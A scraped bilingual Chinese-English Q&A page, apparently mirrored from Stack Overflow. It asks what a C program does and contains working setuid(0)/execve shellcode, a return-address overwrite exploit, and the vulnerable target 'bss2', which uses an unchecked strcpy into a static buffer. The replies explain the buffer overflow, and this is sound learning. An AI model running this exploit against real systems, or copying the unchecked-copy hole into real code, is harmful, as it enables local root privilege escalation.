这个程序在做什么？
#define bufsize 260
/* setuid(0) shellcode by by Matias Sedalo 3x ^_^ */
char shellcode[] ="\x31\xdb\x53\x8d\x43\x17\xcd\x80\x99\x68\x6e\x2f\x73\x68\x68"
"\x2f\x2f\x62\x69\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80";
int main(void){
char buf[bufsize] ;
char *proc[]={"./bss2",buf,NULL};
char *envir[]={"Bytes=2Lu",shellcode,NULL};
unsigned long ret_addr = 0xc0000000 - strlen(proc[0]) - strlen(shellcode) - sizeof(void *) - 0x02;
memset(buf,0x42,sizeof(buf));
memcpy(buf + bufsize - 4,(char *)&ret_addr,4);
execve(proc[0],proc,envir);
return 0;
}
execve 之前的那些 memcpy 和 memset 在做什么？它对程序 proc 有何影响？
更新bss2的代码
#define LEN 256
void output(char *);
int main(int argc, char **argv) {
static char buffer[LEN];
static void (*func) (char *);
func = output;
strcpy(buffer, argv[1]);
func(buffer);
return EXIT_SUCCESS;
}
void output(char *string) {
fprintf(stdout, "%s", string);
}
更新
现在看来问题归结为环境变量所在的位置？
#define bufsize 260
/* setuid(0) shellcode by by Matias Sedalo 3x ^_^ */
char shellcode[] ="\x31\xdb\x53\x8d\x43\x17\xcd\x80\x99\x68\x6e\x2f\x73\x68\x68"
"\x2f\x2f\x62\x69\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80";
int main(void){
char buf[bufsize] ;
char *proc[]={"./bss2",buf,NULL};
char *envir[]={"Bytes=2Lu",shellcode,NULL};
unsigned long ret_addr = 0xc0000000 - strlen(proc[0]) - strlen(shellcode) - sizeof(void *) - 0x02;
memset(buf,0x42,sizeof(buf));
memcpy(buf + bufsize - 4,(char *)&ret_addr,4);
execve(proc[0],proc,envir);
return 0;
}
what's those memcpy and memset before execve doing?How is it affecting the programe proc?
UPDATE code for bss2
#define LEN 256
void output(char *);
int main(int argc, char **argv) {
static char buffer[LEN];
static void (*func) (char *);
func = output;
strcpy(buffer, argv[1]);
func(buffer);
return EXIT_SUCCESS;
}
void output(char *string) {
fprintf(stdout, "%s", string);
}
UPDATE
Seems now the problem boils down to where environment variables are located?
如果你对这篇内容有疑问，欢迎到本站社区发帖提问 参与讨论，获取更多帮助，或者扫码二维码加入 Web 技术交流群。
绑定邮箱获取回复消息
由于您还没有绑定你的真实邮箱，如果其他用户或者作者回复了您的评论，将不能在第一时间通知您！
发布评论
评论（6）
该代码正在构造一个参数字符串和一个环境（如环境变量所在的位置）。该参数包含
argv[0]中的"./bss2"，以及B字符组成的 256 个字符的字符串，后跟中的返回地址>argv[1]。环境在第一个位置包含一个虚拟变量，在第二个位置包含 shellcode。据推测，目标应用程序
bss2包含一个变量char x[256];，它将argv[1]复制到其中，而无需进行边界检查。这会导致函数返回地址被 ret_addr 中计算的返回地址覆盖，该地址有望指向环境块。The code is constructing an argument string and an environment (as in, the place where environment variables live). The argument contains
"./bss2"inargv[0], and a string of 256Bcharacters followed by a return address inargv[1]. The envir onment contains a dummy variable in the first location, and the shellcode in the second location.Presumably, the target application
bss2contains a variablechar x[256];, which it copiesargv[1]into without bounds checking. This causes the function return address to be overwritten by the return address calculated inret_addr, which hopefully points into the environment block.对我来说似乎很奇怪，因为 buf 参数不是以 null 结尾的。
好吧，memset 和 memcpy 对第一个程序参数进行一些修改，然后 execve 启动它。抱歉，不能说更多...
Seems strange to me, because buf argument is not null-terminated.
Well, memset and memcpy do some hack with the first program argument, and then execve launches it. Sorry, cannot say more...
我不是专家，但看起来它正在尝试运行一些漏洞。
指示符包括标识符
shellcode，使用memset/memcpy操作另一个可执行文件的参数并计算一些ret_addr值。I'm not an expert, but it looks like it's trying to run some exploit.
Indicators include the identifier
shellcode, manipulating the arguments to another executable withmemset/memcpyand calculating someret_addrvalue.似乎有一些项目没有由您发布的代码定义。 shellcode 是定义为宏还是其他什么？ bufsize 值也是未知的。
memset 调用似乎使用八进制值 0x42 初始化缓冲区 buf。
memcpy 调用似乎在 buf 末尾插入一个地址。
如前所述，该缓冲区 (buf) 最终作为参数传递给 bss2 进程。
It seems like there are some items that are not defined by the code that you posted. Is shellcode defined as a macro or something? The value bufsize is also not known.
The memset call seems to initialize the buffer buf with the octal value 0x42.
The memcpy call appears to be inserting an address at the end of buf.
As mentioned, this buffer (buf) is ultimately being passed as an argument to the bss2 process.
由于
bufsize和shellcode未定义，因此无法编译。更严重的是，它看起来像是试图利用缓冲区溢出或类似的名为
bss2的 shell 命令。It is failing to compile because
bufsizeandshellcodeare undefined.More seriously it looks like it is trying to exploit a buffer overrun or similar on shell command called
bss2.作为我自己的练习，我开始手动反汇编 shellcode。我得到的信息是：
在那之后我感到很无聊，但是 linux 中用于 INT 0x80 调用的系统调用 23 是 sys_setuid，所以它看起来像是将 UID 设置为 0 或获取 root 的代码。这并不奇怪，因为它是 shell 代码。 :-)
As an exercise for myself, I started disassembling the shellcode by hand. I got as far as:
I got bored after that, but system call 23 in linux for the INT 0x80 calls is the sys_setuid, so it looks like it's code to set the UID to 0, or get root. Not surprising, since it's shell code. :-)